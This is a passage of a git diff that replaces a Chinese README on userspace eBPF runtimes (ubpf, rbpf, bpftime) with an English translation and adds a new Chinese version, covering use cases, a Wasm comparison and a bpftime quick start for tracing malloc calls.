运行时的产生。这些运行时允许开发者在内核之外利用 eBPF 的能力,提供了一个在内核之外的运行平台,扩展其实用性和适用性,同时不受限于 GPL LICENSE。虽然 eBPF 的一个突出特点是其在内核空间内执行代码的能力,提供快速的可观察性和数据聚合,但在某些情境下,拥有一个用户空间的替代方案变得非常有价值。这些用户空间运行时扩展了 eBPF 多功能性的范围,超越了内核集成,并常常作为特定用例的实验场地、调试工具或框架。 +Given its dynamic nature, eBPF has become a cornerstone of modern networking solutions. It enables fine-grained traffic control, load balancing, and security enforcement at the kernel level, ensuring optimal performance and security. Furthermore, in the realm of observability, eBPF provides granular insights into system calls, hardware events, and more, facilitating proactive problem detection and resolution. -### 特定运行时简介 +### eBPF: from kernel runtime to userspace runtime + +While the initial design of eBPF was deeply embedded within the kernel, the demand for similar functionality in userspace applications led to the evolution of userspace eBPF runtimes. These runtimes allow developers to leverage eBPF's capabilities outside the kernel, expanding its utility and applicability. Userspace eBPF runtimes make it feasible to apply eBPF's prowess to a broader set of applications, from custom network protocols to novel security solutions, further cementing eBPF's role as a transformative technology in the computing landscape. + +## Userspace eBPF Runtimes and Their Role + +### What is a userspace eBPF runtime? + +A userspace eBPF runtime provides a platform outside of the kernel to run eBPF programs. While one of eBPF's standout attributes is its capability to execute code within the kernel space, offering rapid observability and data aggregation, there are scenarios where having a userspace alternative becomes valuable. These userspace runtimes extend the reach of eBPF's versatility to areas beyond kernel integrations and often serve as experimental grounds, debugging tools, or frameworks for specific use cases. + +### Introduction to specific runtimes #### **ubpf** -[uBPF](https://github.com/iovisor/ubpf) 是将 eBPF 引入用户空间的早期尝试之一。主要作为一个概念证明,它作为 eBPF 解释器的用户空间解释与 x86_64 和 arm64 JIT 的结合。尽管其起源是一个早期原型,uBPF 吸引了注意并被用作高性能网络项目(如 DPDK 和 Oko)的基础。它的非 GPL 许可证(Apache)使其适用于各种项目,包括非开源项目。然而,最近,uBPF 正在迎头赶上内核发展,特别是微软为其 eBPF Windows 实现做出的贡献。但是,开发 ubpf 和 rbpf 程序可能需要一个特定的工具链,这对于一些用户可能是一个障碍。ubpf 只有一个有限的哈希 maps 实现,对大多数场景而言可能不够。另外,ubpf 本身只是一个虚拟机/解释器,在实际的使用中,依然需要编写胶水代码,和其他用户空间程序进行编译、链接后才能使用。 +[uBPF](https://github.com/iovisor/ubpf) was among the early attempts to bring eBPF to the userspace. Conceived primarily as a proof-of-concept, it served as a user-space interpretation of an eBPF interpreter combined with an x86_64 and arm64 JIT. Despite its origins as an early prototype, uBPF garnered attention and was utilized as a foundation for high-performance networking projects such as DPDK and Oko. Its non-GPL licensing (Apache) makes it favorable for a wide range of projects, inclusive of proprietary ones. However, as of recent, uBPF is catching up with kernel developments, particularly with contributions from Microsoft for its eBPF Windows implementation. However, develop ubpf and rbpf programs may require a specific toolchain, which may be a barrier for some users. ubpf only have a limited hashmap implementation, which may not be enough for some users. #### **rbpf** -[rbpf](https://github.com/qmonnet/rbpf) 和 uBPF 非常相似,但重点是使用了 Rust 进行开发,这是一种因其内存安全保证而著称的语言。创建 rbpf 是由于想要探索 eBPF 和 Rust 的交集。虽然没有广泛采纳,但 rbpf 的知名用户包括 Solana 团队,他们使用它为带有 eBPF 驱动的智能合约的区块链工具。rbpf 的一个优势在于其许可证 (MIT),允许在各种项目中广泛重用。rbpf 也缺乏 eBPF Maps 支持,并且仅为 x86_64 提供 JIT 支持。同样,rbpf 也需要编译和手动嵌入对应的应用程序中才可以使用。 +[rbpf](https://github.com/qmonnet/rbpf) is heavily influenced by uBPF but with an emphasis on Rust, a language renowned for its memory safety guarantees. The creation of rbpf was driven by a desire to explore the intersections of eBPF and Rust. While not as widespread in adoption, notable users of rbpf include the Solana team, employing it for blockchain tools with eBPF-driven smart contracts. One of rbpf's advantages lies in its licensing (MIT), allowing for broad reuse across various projects. rbpf also lacks eBPF map support, and only has JIT support for x86_64. #### **bpftime** -基于 LLVM JIT/AOT 构建的 [bpftime](https://github.com/eunomia-bpf/bpftime) 是专为用户空间操作设计的一个高性能 eBPF 运行时。它以其快速的 Uprobe 能力和 Syscall 钩子脱颖而出,尤其是 Uprobe 性能比内核提高了十倍。此外,bpftime 提供编程 syscall 钩子、共享内存映射和与熟悉的工具链(如 libbpf 和 clang)的兼容性。其设计解决了一些内核 eBPF 的限制,并在某些方面超越了像 Wasm 运行时这样的插件系统。这是使用 Userspace bpftime 的 eBPF 进行 Hook 的一些性能数据,将用户空间和内核空间进行对比: - -| Probe/Tracepoint Types | Kernel (ns) | Userspace (ns) | Insn Count | -|------------------------|-------------:|---------------:|---------------:| -| Uprobe | 3224.172760 | 314.569110 | 4 | -| Uretprobe | 3996.799580 | 381.270270 | 2 | -| Syscall Tracepoint | 151.82801 | 232.57691 | 4 | -| Embedding runtime | Not avaliable | 110.008430 | 4 | - -bpftime 可以类似 Kernel 中的 Uprobe 那样,自动将 eBPF 运行时注入到用户空间进程中,无需修改用户空间进程的代码,也无需进行重启进程即可使用。对于 ubpf 和 rbpf 而言,它们依然需要手动编写胶水代码和其他用户空间程序进行集成,相对来说限制了它们的使用场景。在某些场景下,bpftime 可能能作为 kernel eBPF 的一种替代方案,它也不依赖于具体内核版本或 Linux 平台,可以在其他平台上运行。 +Built atop LLVM JIT/AOT, [bpftime](https://github.com/eunomia-bpf/bpftime) is a cutting-edge, high-performance eBPF runtime designed exclusively for userspace operations. It stands out with its rapid Uprobe capabilities and Syscall hooks, notably outperforming the kernel Uprobe by a tenfold margin. Additionally, bpftime offers programmatic syscall hooking, shared memory maps, and compatibility with familiar toolchains like libbpf and clang. Its design addresses some kernel eBPF limitations and outpaces plugin systems like the Wasm runtime in certain aspects. -## 为什么用户空间版本的 eBPF 会吸引如此多的关注? +## Why is Having a Userspace Version of eBPF Interesting? -eBPF,原本因其在内核空间的强大性能而被广泛认知,但近年来,其在用户空间的实现也引起了业界的浓厚兴趣。以下是技术社区对于 eBPF 迁移到用户空间的热切关注的核心原因: +eBPF, while renowned for its kernel-space operations, has observed a growing interest in its userspace adaptations. Here's why migrating eBPF to userspace is capturing the attention of technologists: -### 性能提升 +### Enhanced Performance -在内核空间,eBPF 的 Uprobe 组件时常面临因上下文切换带来的性能瓶颈。这在延迟敏感的应用中可能导致不良影响,从而对实时监控和数据处理带来挑战。但用户空间版本的 eBPF 能够绕过与上下文切换有关的性能损失,实现更高的性能优化。例如,`bpftime` 运行时在用户空间的表现,相较于其内核版本,展现出了显著的性能增益。 +In kernel operations, the Uprobe component of eBPF is often beleaguered by performance inefficiencies, primarily due to the overheads introduced by context switches. In latency-sensitive applications, these inefficiencies can be detrimental, affecting real-time monitoring and data processing. By transitioning to userspace, eBPF can bypass these context switch related delays, leading to a more optimized performance. Runtimes like `bpftime` exemplify this, offering substantial performance improvements compared to their kernel counterparts. -### 灵活性与集成度 +### Flexibility and Integration -用户空间的 eBPF 运行时带来了更大的灵活性。与其他解决方案如 Wasm 运行时相比,它们无需手动集成即可提供自动插桩的特性。这意味着开发者可以轻松地将其集成进正在运行的进程中,避免了因重新启动或重新编译带来的操作中断。 +Userspace eBPF runtimes champion flexibility. Unlike some alternatives, such as the Wasm runtime, which might necessitate manual integrations, userspace eBPF provides the boon of automatic instrumentation. This means they can be seamlessly introduced into running processes without the need for cumbersome restarts or recompilations, ensuring smoother operational flows. -### 安全性加固 +### Augmented Security -在内核空间,eBPF 的执行通常需要 root 访问权限,这可能无意中增加了系统的攻击面,使其容易受到例如容器逃逸或潜在的内核利用等安全威胁。相反,用户空间的实现在这种高风险环境之外运作。它们在用户空间中运行,大大降低了对高权限的依赖,从而减少了潜在的安全风险。 +Operating in kernel mode, eBPF programs require root access, which can inadvertently expand the attack surface, making systems susceptible to vulnerabilities like container escapes or even potential kernel exploits. Userspace runtimes, however, operate outside this high-risk zone. By functioning in userspace, they demand fewer privileges, inherently reducing the potential avenues for security breaches. -### 调试与许可的便利性 +### Debugging and Licensing Flexibility -用户空间 eBPF 的一个显著优点是,它为开发者提供了更加直观的调试环境。相对于内核空间中有限的调试手段,用户空间解释器提供的断点调试功能更为方便。此外,用户空间 eBPF 的许可证更加灵活,通常采用 Apache 或 MIT 这样的开源许可,这意味着它们可以轻松地与各种项目(包括商业项目)相结合,避免了与内核代码相关的 GPL 限制。 +One of the innate advantages of userspace eBPF runtimes is the ease with which developers can debug their code. The accessibility to integrate breakpoints in a userspace interpreter is a marked advantage over the relatively constrained debugging capabilities in kernel eBPF. Additionally, the licensing flexibility of userspace eBPF runtimes, typically offered under licenses like Apache or MIT, ensures they can be paired with a diverse range of projects, including proprietary ones, sidestepping the GPL constraints associated with kernel code. -## 使用案例:现有的 eBPF 用户空间应用 +## Use Cases: Existing eBPF Userspace Applications -用户空间 eBPF 正在项目中使用,每个项目都利用 eBPF 的独特功能来增强它们的功能: +Userspace eBPF is being utilized in a number of notable projects, each harnessing the unique capabilities of eBPF to enhance their functionalities. Here's how Userspace eBPF is currently utilized in various applications: 1. [**Oko:**](https://github.com/Orange-OpenSource/Oko) + + Oko is an extension of Open vSwitch-DPDK that provides runtime extension with BPF programs. It enables the use of BPF programs to process packets in userspace, providing flexible packet processing and facilitating the integration of Open vSwitch with other systems. - Oko 是 Open vSwitch-DPDK 的扩展,提供了与 BPF 程序的运行时扩展。它允许使用 BPF 程序在用户空间处理数据包,提供灵活的数据包处理,并促进 Open vSwitch 与其他系统的集成。 +1. [**DPDK eBPF Support:**](https://doc.dpdk.org/guides/prog_guide/bpf_lib.html) -1. [**DPDK eBPF 支持:**](https://www.dpdk.org/wp-content/uploads/sites/35/2018/10/pm-07-DPDK-BPFu6.pdf) - - DPDK (数据平面开发套件) eBPF 支持通过允许在用户空间使用 eBPF 程序来促进快速的数据包处理,这些程序可以加载并运行以分析网络数据包。这增强了网络应用的灵活性和可编程性,无需修改内核。 + The DPDK (Data Plane Development Kit) eBPF support facilitates fast packet processing by enabling the use of eBPF programs in userspace, which can be loaded and run to analyze network packets. This enhances the flexibility and programmability of network applications without requiring kernel modifications. 1. [**Solana:**](https://solana.com/) - Solana 利用 eBPF 实现一个 JIT (即时)编译器,这对于在其区块链网络上执行智能合约是至关重要的。使用 eBPF 确保了安全性、性能和架构中立性,从而允许在 Solana 区块链上的验证器节点上高效地执行智能合约。 - -1. [**eBPF for Windows (进行中的工作):**](https://github.com/microsoft/ebpf-for-windows) + Solana utilizes eBPF to implement a JIT (Just-In-Time) compiler, which is essential for executing smart contracts on its blockchain network. The use of eBPF ensures safety, performance, and architecture agnosticism, thus allowing efficient execution of smart contracts across validator nodes on the Solana blockchain. - 该项目旨在将 Linux 生态系统中熟悉的 eBPF 工具链和 API 带到 Windows,允许在 Windows 之上使用现有的 eBPF 工具链。这展示了将 eBPF 的功能扩展到 Linux 之外的有前景的尝试,尽管它仍然是一个进行中的工作。 +1. [**eBPF for Windows (Work-In-Progress):**](https://github.com/microsoft/ebpf-for-windows) -使用 eBPF 的这些应用的好处包括: + This project is aimed at bringing the eBPF toolchains and APIs familiar in the Linux ecosystem to Windows, allowing existing eBPF toolchains to be utilized on top of Windows. This demonstrates a promising endeavor to extend the capabilities of eBPF beyond Linux, although it's still a work in progress. -- **灵活性:** eBPF 提供了一个灵活的框架,用于在内核或用户空间中运行程序,使开发人员能够扩展现有系统的功能,而无需修改其核心代码。 -- **性能:** 通过允许 JIT 编译和高效的数据包处理,eBPF 可以显著提高网络应用和区块链智能合约执行的性能。 -- **安全性和安全性:** eBPF 框架为验证程序执行前的安全属性提供了机制,从而确保了其集成的系统的完整性和安全性。 -- **跨平台能力:** eBPF 指令集的架构中立性使得跨平台兼容性成为可能,如 Solana 项目和进行中的 eBPF for Windows 所示。 +The benefits of using eBPF in these applications include: -这些属性使 eBPF 成为增强各种应用的强大工具,从网络处理到区块链智能合约执行,再到更多。还有一些论文讨论了在用户空间中使用 eBPF 的用途: +- **Flexibility:** eBPF provides a flexible framework for running programs in the kernel or userspace, enabling developers to extend the functionality of existing systems without modifying their core code. +- **Performance:** By allowing JIT compilation and efficient packet processing, eBPF can significantly enhance the performance of network applications and blockchain smart contract execution. +- **Safety and Security:** The eBPF framework provides mechanisms for verifying the safety properties of programs before execution, thus ensuring the integrity and security of the systems it is integrated with. +- **Cross-platform Capability:** The architecture-agnostic nature of eBPF instruction set enables cross-platform compatibility, as seen in projects like Solana and the work-in-progress eBPF for Windows. -1. [**RapidPatch: 用于实时嵌入式设备的固件热修复**](https://www.usenix.org/conference/usenixsecurity22/presentation/he-yi): +These attributes make eBPF a powerful tool for augmenting a variety of applications, ranging from network processing to blockchain smart contract execution, and beyond. There are also some papers that discuss the use of eBPF in userspace: - 本文介绍了一个名为 RapidPatch 的新的热修复框架,该框架旨在通过在异构嵌入式设备上安装通用修复程序来促进修复的传播,而不会中断它们上运行的其他任务。此外,RapidPatch 提出了两种类型的 eBPF 补丁,用于不同类型的漏洞,并开发了一个 eBPF 补丁验证器以确保补丁安全。 +1. [**RapidPatch: Firmware Hotpatching for Real-Time Embedded Devices**](https://www.usenix.org/conference/usenixsecurity22/presentation/he-yi): + + This paper introduces a new hotpatching framework named RapidPatch, which is designed to facilitate the propagation of patches by installing generic patches on heterogeneous embedded devices without disrupting other tasks running on them. -2. [**Femto-Containers: 低功耗 IoT 微控制器上的小型软件功能的轻量级虚拟化和故障隔离**](https://arxiv.org/abs/2210.03432): + Furthermore, RapidPatch proposes two types of eBPF patches for different types of vulnerabilities and develops an eBPF patch verifier to ensure patch safety. - 本文介绍了 Femto-Containers,这是一个新颖的框架,允许在低功耗 IoT 设备上安全地部署、执行和隔离小型虚拟软件功能。该框架在 RIOT 中实现并提供,RIOT 是一个受欢迎的开源 IoT 操作系统,强调在低功耗 IoT 设备上安全地部署、执行和隔离小型虚拟软件功能。该论文讨论了在一个常见的低功耗 IoT 操作系统 (RIOT) 中集成的 Femto-Container 主机引擎的实现,增强了其在标准的 IPv6/6LoWPAN 网络上按需启动、更新或终止 Femto-Containers 的能力。 +1. [**Femto-Containers: Lightweight Virtualization and Fault Isolation For Small Software Functions on Low-Power IoT Microcontrollers**](https://arxiv.org/abs/2210.03432): -这些论文深入探讨了固件补丁和轻量级虚拟化方面的相关进展,展示了针对实时嵌入式系统和低功耗 IoT 微控制器领域的关键挑战的创新。 + This paper presents Femto-Containers, a novel framework that enables the secure deployment, execution, and isolation of small virtual software functions on low-power IoT devices over a network. -## 用户空间 eBPF 运行时 vs Wasm 运行时 + The framework is implemented and provided in RIOT, a popular open source IoT operating system, with an emphasis on secure deployment, execution, and isolation of small virtual software functions on low-power IoT devices, over the network. -在不断发展的云原生和边缘计算领域中,eBPF (扩展的伯克利数据包过滤器) 和 Wasm (WebAssembly) 都已成为强大的工具。但它们都有自己的设计原则和权衡取舍。 + The paper discusses the implementation of a Femto-Container hosting engine integrated within a common low-power IoT operating system (RIOT), enhancing it with the ability to start, update, or terminate Femto-Containers on demand, securely over a standard IPv6/6LoWPAN network. + +These papers delve into pertinent advancements concerning firmware patching and lightweight virtualization, demonstrating innovations that address critical challenges in the domains of real-time embedded systems and low-power IoT microcontrollers respectively. -## eBPF 在用户空间运行时 vs Wasm 运行时:云原生计算的新纪元 +## Userspace eBPF Runtime vs Wasm Runtime -在飞速进展的云原生与边缘计算生态中,eBPF (扩展的伯克利数据包过滤器) 和 Wasm (WebAssembly) 被广泛认为是两大技术巨头。这两者虽然都非常强大,但各有其独特的设计哲学与优缺点。 +In the evolving landscape of cloud-native and edge computing, both eBPF (extended Berkeley Packet Filter) and Wasm (WebAssembly) have emerged as powerful tools. However, they come with their own set of design principles and trade-offs. -### eBPF 与 Wasm 之间的技术差异 +### A Comparison of eBPF and Wasm **eBPF**: -- **核心理念**:eBPF 是为了满足高性能要求而设计的,特别是针对实时内核交互和高吞吐量的网络任务。 -- **安全性**:尽管eBPF的主要焦点是性能,但其验证器机制确保了执行的程序在不引发内核恐慌或无限循环的前提下的安全性。 - +- **Philosophy**: eBPF prioritizes performance, often making it the choice for real-time kernel operations and high-throughput networking tasks. +- **Security**: While performance takes the forefront, security in eBPF is ensured through the use of a verifier, ensuring that all programs are safe to run without causing kernel panics or infinite loops. + **Wasm**: -- **核心理念**:Wasm 诞生于网络环境,其设计重点在于可移植性和执行安全性,旨在实现接近本地机器代码的执行速度。 -- **安全性**:Wasm 的安全策略主要基于软件故障隔离 (SFI)。沙盒执行确保了代码的安全性,但这可能会带来某些运行时的额外开销。 +- **Philosophy**: Originally designed for the web, Wasm places a higher emphasis on portability and security. It was conceived to execute code nearly as fast as running native machine code and ensures safety in hostile environments like web browsers. +- **Security**: The primary security model for Wasm revolves around Software Fault Isolation (SFI). This model guarantees safe execution by enforcing sandboxing, even though this can introduce some runtime overheads. -这两种技术都依赖于底层的库来执行复杂任务,如 Wasm 所依赖的 `Wasi-nn` 来进行神经网络处理。与这些外部API 交互时,特别是在 Wasm 的环境下,需要进行更多的验证和运行时检查,这可能导致额外的性能损耗。而eBPF则提供了一个更为性能中心化的策略,其验证器确保了代码在主机上的安全执行,而不需要运行时的额外开销。 +For both technologies, reliance on underlying libraries for complex operations is paramount. For instance, Wasm leans on libraries like `Wasi-nn` for neural network operations. However, when interfacing with such external APIs, especially in Wasm's context, there's a need for additional validation and runtime checks, sometimes leading to substantial performance costs. eBPF, when embedded within the host, capitalizes on its verifier to ensure code safety, offering a more performance-centric approach. -在语言支持上,由于 eBPF 的专业特性,其语言选择较为有限,通常是 C 和 Rust。而Wasm则支持更多的编程语言,包括但不限于 C、C++、Rust、Go、Python、Java和C#。这使得Wasm在跨平台部署上有更大的灵活性,但也可能因为不恰当的语言选择引入更多的性能开销。 +On the language support front, while eBPF's niche and specialized nature mean limited language support, Wasm boasts a broader language portfolio due to its origin and design for the web. -为了给大家提供一个直观的对比,我们在 [https://github.com/eunomia-bpf/bpf-benchmark](https://github.com/eunomia-bpf/bpf-benchmark)中展示了eBPF和Wasm运行时的性能比较。 +## bpftime Quick Start -从更宏观的角度看,eBPF运行时和Wasm实际上可以被视为是相互补充的。尽管 eBPF 拥有出色的验证器机制来确保运行时安全性,但由于其编程语言的局限性和相对较高的开发难度,它并不总是适合作为业务逻辑的首选运行时。反之,eBPF 更适用于像网络流量转发、可观测性和 livepatch 这样的高专业性任务。相对而言,Wasm 运行时可以作为 Serverless 的运行时平台、插件系统和轻量级虚拟化等场景的首选。这两者都有自己的优势,但它们的选择取决于特定的用例和优先级。 +With `bpftime`, you can build eBPF applications using familiar tools like clang and libbpf, and execute them in userspace. For instance, the `malloc` eBPF program traces malloc calls using uprobe and aggregates the counts using a hash map. -## bpftime 快速入门 +You can refer to [documents/build-and-test.md](https://eunomia.dev/bpftime/documents/build-and-test) for how to build the project, or using the container images from [GitHub packages](https://github.com/eunomia-bpf/bpftime/pkgs/container/bpftime). -使用`bpftime`,您可以使用熟悉的工具(如clang和libbpf)构建eBPF应用程序,并在用户空间中执行它们。例如,`malloc` eBPF程序使用uprobe跟踪malloc调用,并使用哈希映射对其进行统计。 - -您可以参考[documents/build-and-test.md](https://eunomia.dev/bpftime/documents/build-and-test)上的构建项目的方法,或者使用来自[GitHub packages](https://github.com/eunomia-bpf/bpftime/pkgs/container/bpftime)的容器映像。 - -要开始,请构建并运行一个基于libbpf的eBPF程序,使用以下命令行: +To get started, you can build and run a libbpf based eBPF program starts with `bpftime` cli: ```console -make -C example/malloc # 构建示例的eBPF程序 +make -C example/malloc # Build the eBPF program example bpftime load ./example/malloc/malloc ``` -在另一个shell中,运行带有eBPF的目标程序: +In another shell, Run the target program with eBPF inside: ```console $ bpftime start ./example/malloc/victim @@ -155,25 +154,25 @@ continue malloc... malloc called from pid 250215 ``` -您还可以动态地将eBPF程序附加到正在运行的进程上: +You can also dynamically attach the eBPF program with a running process: ```console -$ ./example/malloc/victim & echo $! # 进程ID为101771 +$ ./example/malloc/victim & echo $! # The pid is 101771 [1] 101771 101771 continue malloc... continue malloc... ``` -然后附加到该进程: +And attach to it: ```console -$ sudo bpftime attach 101771 # 您可能需要以root身份运行make install +$ sudo bpftime attach 101771 # You may need to run make install in root Inject: "/root/.bpftime/libbpftime-agent.so" -成功注入。ID: 1 +Successfully injected. ID: 1 ``` -您可以看到原始程序的输出: +You can see the output from original program: ```console $ bpftime load ./example/malloc/malloc @@ -183,7 +182,7 @@ $ bpftime load ./example/malloc/malloc pid=247322 malloc calls: 10 ``` -或者,您也可以直接在内核eBPF中运行我们的示例eBPF程序,以查看类似的输出: +Alternatively, you can also run our sample eBPF program directly in the kernel eBPF, to see the similar output: ```console $ sudo example/malloc/malloc @@ -194,26 +193,28 @@ $ sudo example/malloc/malloc pid=34809 malloc calls: 8 ``` -有关更多详细信息,请参阅[documents/usage.md](https://eunomia.dev/bpftime/documents/usage)。 +See [documents/usage.md](https://eunomia.dev/bpftime/documents/usage) for more details. + +## Conclusion -## 总结与前景 +Userspace eBPF runtimes are an exciting development that expands the capabilities of eBPF beyond the kernel. As highlighted in this post, they offer compelling benefits like enhanced performance, flexibility, and security compared to kernel-based eBPF. Runtimes like bpftime demonstrate the potential for substantial speedups, even outperforming alternatives like Wasm runtimes in certain dimensions like low-level performance. -用户空间的eBPF运行时正在打破边界,将eBPF的能力从内核扩展到了更广阔的领域。这种扩展带来了显著的性能、灵活性和安全性提升。例如,`bpftime`运行时显示了其在某些低级性能场景下,甚至超越了像 Wasm 这样的其他技术。也有越来越多的应用将用户空间的 eBPF 用于快速补丁、轻量级虚拟化、网络过滤等场景。 +With innovative frameworks like RapidPatch and Femto-Containers utilizing userspace eBPF for patching and lightweight virtualization respectively, we are witnessing pioneering use cases that address critical challenges in embedded systems and IoT domains. As eBPF continues its evolution in userspace, we can expect even more creative applications that augment everything from smart contracts to network protocols. -Wasm 的主要焦点在于可移植性、轻量级虚拟化、安全性、多语言等等,而 eBPF 则针对那些对性能有严格要求的基础设施任务提供了更多的性能优势和动态插桩特性。选择哪种技术取决于特定的需求和优先级。随着它们的进一步发展,用户空间的eBPF运行时正在成为云原生技术堆栈中的重要部分,为业界带来前所未有的安全、效率和创新的组合。 +While alternatives like Wasm certainly have their place with a strong emphasis on web portability and security, eBPF's specialized nature gives it an edge for performance-critical tasks. Ultimately, the choice between the two depends on the specific use case and priorities. As they continue to evolve, userspace eBPF runtimes are cementing their position as an indispensable part of the cloud-native technology stack, offering an unparalleled combination of safety, efficiency and innovation. -> 我们诚邀您深入探索用户空间eBPF的世界,您可以从我们的项目 [https://github.com/eunomia-bpf/bpftime](https://github.com/eunomia-bpf/bpftime) 开始。您的贡献、反馈或仅仅是对此工具的使用和 star,都可以为我们的社区带来巨大价值。 +> We encourage our readers to dive deep into the world of userspace eBPF, starting with our bpftime GitHub repository: Contributions, feedback, or simply using the tool can further the cause and provide invaluable insights to the community. > -> 若您在研究中采用了我们的`bpftime`项目,请[引用我们的仓库](https://github.com/eunomia-bpf/bpftime/blob/master/CITATION.cff)。我们期待您的宝贵意见和反馈,您可以通过 GitHub 仓库的 issue、邮箱 [yunwei356@gmail.com](mailto:yunwei356@gmail.com) 或微信 yunwei2567 与我们联系。 +> If you use our project in research, please [cite our repo](https://github.com/eunomia-bpf/bpftime/blob/master/CITATION.cff). -## 参考资料 +## reference 1. bpftime: 2. ubpf: 3. rbpf: 4. Oko: 5. RapidPatch: Firmware Hotpatching for Real-Time Embedded Devices: -6. DPDK eBPF Support: +6. DPDK eBPF Support: 7. Solana: 8. eBPF for Windows (Work-In-Progress): 9. Femto-Containers: Lightweight Virtualization and Fault Isolation For Small Software Functions on Low-Power IoT Microcontrollers: diff --git a/src/36-userspace-ebpf/README.zh.md b/src/36-userspace-ebpf/README.zh.md new file mode 100644 index 00000000..877a919b --- /dev/null +++ b/src/36-userspace-ebpf/README.zh.md @@ -0,0 +1,219 @@ +# 用户空间 eBPF 运行时:深度解析与应用实践 + +郑昱笙 + +本文旨在对用户空间的 eBPF 运行时和对应的一些应用场景进行剖析和总结。尽管大多数人对基于内核的 eBPF 已有所了解,用户空间 eBPF 的进展和应用实践同样引人注目。本文还将探讨用户空间 eBPF 运行时与 Wasm 运行时的技术比较,后者在云原生和边缘计算领域已获得广泛的关注。我们也新开源了一个用户态 eBPF 运行时 [bpftime](https://github.com/eunomia-bpf/bpftime)。通过 LLVM `JIT/AOT` 后端支持,我们的基准测试表明 bpftime 是最快的用户空间 eBPF 运行时之一,同时还可以让内核中间的 eBPF Uprobe 无缝在用户空间运行,获得近十倍的性能提升。 + +## eBPF:内核的动态扩展运行时与字节码 + +### eBPF 究竟是何方神圣? + +eBPF,全称 "extended Berkeley Packet Filter",是一项允许在不更改内核源代码或重启系统的情况下动态干预和修改内核行为的革命性技术。虽然 eBPF 起初是作为网络数据包过滤工具而设计,但如今已广泛应用于从性能分析到安全策略等多个方面,逐渐成为系统管理员的得力助手。 + +eBPF 的前身,Berkeley Packet Filter (BPF) —— 20 世纪 90 年代初的产物,主要用于网络数据包的高效过滤。尽管 BPF 已被广大用户所认可,eBPF 的出现则为其带来了更为广泛的指令集,并能直接与内核数据结构互动。自 2014 年 Linux 内核引入 eBPF 以后,它的影响力迅速扩张。Linux 的核心开发团队不断地完善 eBPF,使其从一个基础的网络数据包过滤器逐渐演变为一个功能强大的字节码引擎。 + +### eBPF 对现代计算和网络的深远影响 + +随着现代计算环境日益复杂,实时数据的采集和深入分析显得尤为重要。在这一背景下,eBPF 凭借其卓越的动态性,为开发者和管理员提供了实时干预系统行为的强大工具。eBPF 以其卓越的灵活性在现代网络解决方案中占据核心地位。它为流量控制、负载均衡及安全策略在内核级别提供了细致的控制手段,确保了系统的性能优化和安全稳定。同时,eBPF 在系统可观察性上也做出了显著贡献,为各种系统调用和硬件事件提供了详细的可编程追踪方案,促进了问题的迅速定位和解决。 + +## 用户空间 eBPF 运行时:eBPF 的新生代 + +### 什么是用户空间 eBPF 运行时? + +虽然 eBPF 最初是为内核设计的,但它在用户空间的巨大潜力,以及内核对于 `GPL LICENSE` 的限制,也催生了用户空间 eBPF 运行时的产生。这些运行时允许开发者在内核之外利用 eBPF 的能力,提供了一个在内核之外的运行平台,扩展其实用性和适用性,同时不受限于 GPL LICENSE。虽然 eBPF 的一个突出特点是其在内核空间内执行代码的能力,提供快速的可观察性和数据聚合,但在某些情境下,拥有一个用户空间的替代方案变得非常有价值。这些用户空间运行时扩展了 eBPF 多功能性的范围,超越了内核集成,并常常作为特定用例的实验场地、调试工具或框架。 + +### 特定运行时简介 + +#### **ubpf** + +[uBPF](https://github.com/iovisor/ubpf) 是将 eBPF 引入用户空间的早期尝试之一。主要作为一个概念证明,它作为 eBPF 解释器的用户空间解释与 x86_64 和 arm64 JIT 的结合。尽管其起源是一个早期原型,uBPF 吸引了注意并被用作高性能网络项目(如 DPDK 和 Oko)的基础。它的非 GPL 许可证(Apache)使其适用于各种项目,包括非开源项目。然而,最近,uBPF 正在迎头赶上内核发展,特别是微软为其 eBPF Windows 实现做出的贡献。但是,开发 ubpf 和 rbpf 程序可能需要一个特定的工具链,这对于一些用户可能是一个障碍。ubpf 只有一个有限的哈希 maps 实现,对大多数场景而言可能不够。另外,ubpf 本身只是一个虚拟机/解释器,在实际的使用中,依然需要编写胶水代码,和其他用户空间程序进行编译、链接后才能使用。 + +#### **rbpf** + +[rbpf](https://github.com/qmonnet/rbpf) 和 uBPF 非常相似,但重点是使用了 Rust 进行开发,这是一种因其内存安全保证而著称的语言。创建 rbpf 是由于想要探索 eBPF 和 Rust 的交集。虽然没有广泛采纳,但 rbpf 的知名用户包括 Solana 团队,他们使用它为带有 eBPF 驱动的智能合约的区块链工具。rbpf 的一个优势在于其许可证 (MIT),允许在各种项目中广泛重用。rbpf 也缺乏 eBPF Maps 支持,并且仅为 x86_64 提供 JIT 支持。同样,rbpf 也需要编译和手动嵌入对应的应用程序中才可以使用。 + +#### **bpftime** + +基于 LLVM JIT/AOT 构建的 [bpftime](https://github.com/eunomia-bpf/bpftime) 是专为用户空间操作设计的一个高性能 eBPF 运行时。它以其快速的 Uprobe 能力和 Syscall 钩子脱颖而出,尤其是 Uprobe 性能比内核提高了十倍。此外,bpftime 提供编程 syscall 钩子、共享内存映射和与熟悉的工具链(如 libbpf 和 clang)的兼容性。其设计解决了一些内核 eBPF 的限制,并在某些方面超越了像 Wasm 运行时这样的插件系统。这是使用 Userspace bpftime 的 eBPF 进行 Hook 的一些性能数据,将用户空间和内核空间进行对比: + +| Probe/Tracepoint Types | Kernel (ns) | Userspace (ns) | Insn Count | +|------------------------|-------------:|---------------:|---------------:| +| Uprobe | 3224.172760 | 314.569110 | 4 | +| Uretprobe | 3996.799580 | 381.270270 | 2 | +| Syscall Tracepoint | 151.82801 | 232.57691 | 4 | +| Embedding runtime | Not available | 110.008430 | 4 | + +bpftime 可以类似 Kernel 中的 Uprobe 那样,自动将 eBPF 运行时注入到用户空间进程中,无需修改用户空间进程的代码,也无需进行重启进程即可使用。对于 ubpf 和 rbpf 而言,它们依然需要手动编写胶水代码和其他用户空间程序进行集成,相对来说限制了它们的使用场景。在某些场景下,bpftime 可能能作为 kernel eBPF 的一种替代方案,它也不依赖于具体内核版本或 Linux 平台,可以在其他平台上运行。 + +## 为什么用户空间版本的 eBPF 会吸引如此多的关注? + +eBPF,原本因其在内核空间的强大性能而被广泛认知,但近年来,其在用户空间的实现也引起了业界的浓厚兴趣。以下是技术社区对于 eBPF 迁移到用户空间的热切关注的核心原因: + +### 性能提升 + +在内核空间,eBPF 的 Uprobe 组件时常面临因上下文切换带来的性能瓶颈。这在延迟敏感的应用中可能导致不良影响,从而对实时监控和数据处理带来挑战。但用户空间版本的 eBPF 能够绕过与上下文切换有关的性能损失,实现更高的性能优化。例如,`bpftime` 运行时在用户空间的表现,相较于其内核版本,展现出了显著的性能增益。 + +### 灵活性与集成度 + +用户空间的 